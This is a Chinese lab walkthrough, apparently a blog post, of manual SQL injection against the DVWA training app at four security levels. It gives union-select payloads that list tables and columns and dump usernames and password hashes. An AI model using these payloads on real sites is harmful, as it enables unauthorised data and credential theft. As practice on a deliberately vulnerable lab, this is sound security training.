渗透测试实验_使用DVWA进行SQL手动注入 SQL手动注入的基本步骤 安全等级Low Medium High

SQL手动注入

1. 前期数据准备

查看DVWA数据库的信息

  • 第一步:打开Windows2003虚拟机后,启动phpStudy
    在这里插入图片描述

  • 第二步:进入MySQL
    在这里插入图片描述

  • 第三步:查看数据库

  • 查看库名
    在这里插入图片描述

  • 选择数据库“dvwa”后,查看其中的表名
    在这里插入图片描述

  • 查看“dvwa“库中users表结构
    在这里插入图片描述

  • 查看users表中的username和password信息
    在这里插入图片描述

2. 前期实验准备

  • 第一步:先打开BurpSuite
    在这里插入图片描述
  • 第二步:再打开火狐浏览器的代理服务
    在这里插入图片描述
  • 第三步:在火狐浏览器中输入虚拟机IP,访问dvwa服务
    在这里插入图片描述

3. SQL手动注入的预备知识

以下内容引用自《sql手动注入常用步骤

原理
提起SQL注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交输入域名页面请求查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互。
有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等

预备知识

  • 对MySQL数据库有一定了解;对基本的sql语句有所了解;
  • 对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等

4. SQL手动注入的基本步骤

  1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
  3. 获取数据库版本,用户,当前连接的数据库等信息
  4. 获取数据库中所有表的信息
  5. 获取某个表的列字段信息
  6. 获取相应表的数据

在这里插入图片描述
在这里插入图片描述

5. 实现SQL注入

  • 寻找SQL注入的方法
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • SQL注入的危害
    在这里插入图片描述

6. Low等级

在这里插入图片描述

  • 选择“Low”安全等级,再点击“SQL Injection”
    在这里插入图片描述在这里插入图片描述

  • 判断注入类型
    首先测试正常数据

    • 简单ID查询的正常功能体验:输入正确的User ID(例如1,2,3…),点击Submit,将显示ID First name,Surname信息。
    • 输入错误的不显示
      在这里插入图片描述
  • 遍历数据库表,遍历出了数据库中所有内容。

    • 尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, – )后发现依旧可以正常输出,存在注入点。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。
1and1=1

在这里插入图片描述

1 and 1=2

在这里插入图片描述

  • 判断有几个字段
    • 在链接后面添加语句【 order by xx (数字任意)】,根据页面返回结果,来判断站点中的字段数目。
1order by 1 #

在这里插入图片描述

  • 联合查询显示位置
    • 在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空,“-1” )来暴露可查询的字段号。
1union select 1,2 #

在这里插入图片描述

  • 联合查询库名
    利用内置函数暴数据库信息
    version()版本;database()数据库;user()用户;
1union select version(),database() #

在这里插入图片描述

  • 联合查询表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

  • 联合查询表里面的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

  • 联合查询users里面的用户名和密码
1' union select user,password from users #

在这里插入图片描述在这里插入图片描述

7. Medium等级

  • 先打开BurpSuite的代理
    在这里插入图片描述在这里插入图片描述
  • 输入1提交,得到的报文发送给Repeater
    在这里插入图片描述在这里插入图片描述
  • 修改报文中的id=2
    在这里插入图片描述
id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#

在这里插入图片描述

8. High等级

  • 先关闭BurpSuite的代理
    在这里插入图片描述在这里插入图片描述

  • 输入1
    在这里插入图片描述

  • 遍历数据

1and1=2

在这里插入图片描述

  • 查询回显位置
1' union select 1,3 #

在这里插入图片描述

  • 查询dvwa库中的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

  • 查询数据库的版本号和当前连接的数据库名
1' union select version(),database() #

在这里插入图片描述

  • 查询dvwa库中users表的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

  • 查询users表中user和password字段的数据
1' union select user,password from users #

在这里插入图片描述

9. Impossible等级

Impossible级别,代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

  • 先关闭BurpSuite的代理,选择等级
    在这里插入图片描述

  • 输入1
    在这里插入图片描述

  • 判断注入类型,发现Impossible等级很难找到注入点

1 and 1=2
1and1=2

在这里插入图片描述在这里插入图片描述

  • 查询回显位置,发现无任何结果
1' union select 1,3 #

在这里插入图片描述

  • 6
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA靶机中的SQL注入是一种安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,从而获取未授权的访问权限或者获取敏感信息。根据引用[1]和引用[2]中提到的内容,DVWA靶机中的SQL注入分为不同的安全级别,包括LowMediumHigh和Blind注入。 在Low级别的SQL注入中,攻击者可以通过在输入框中输入特定的SQL语句来绕过应用程序的验证,从而执行恶意操作。在Medium级别的SQL注入中,应用程序对输入进行了一定的过滤,但仍存在一些漏洞可以被攻击者利用。在High级别的SQL注入中,应用程序对输入进行了更严格的过滤,但仍然存在一些漏洞可以被攻击者利用。 在Blind注入中,攻击者无法直接获取注入结果,但可以通过构造特定的SQL语句来判断条件是否成立,从而获取敏感信息。Blind注入可以分为不同的级别,包括LowMediumHigh级别。 为了进行SQL注入攻击,攻击者可以使用手工方法或者工具如sqlmap。手工方法需要攻击者具备一定的SQL注入知识和技巧,而工具如sqlmap可以自动化执行注入攻击,提高攻击效率。 为了防御SQL注入攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句来防止SQL注入攻击。此外,还可以限制数据库用户的权限,避免敏感信息的泄露。 根据引用[3]中的结论,可以通过使用sqlmap工具来获取DVWA靶机中的数据库名和表名。具体的命令可以参考引用[3]中提供的示例。 总之,DVWA靶机中的SQL注入是一种常见的安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,获取未授权的访问权限或者敏感信息。开发人员应该采取相应的防御措施来保护应用程序的安全

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值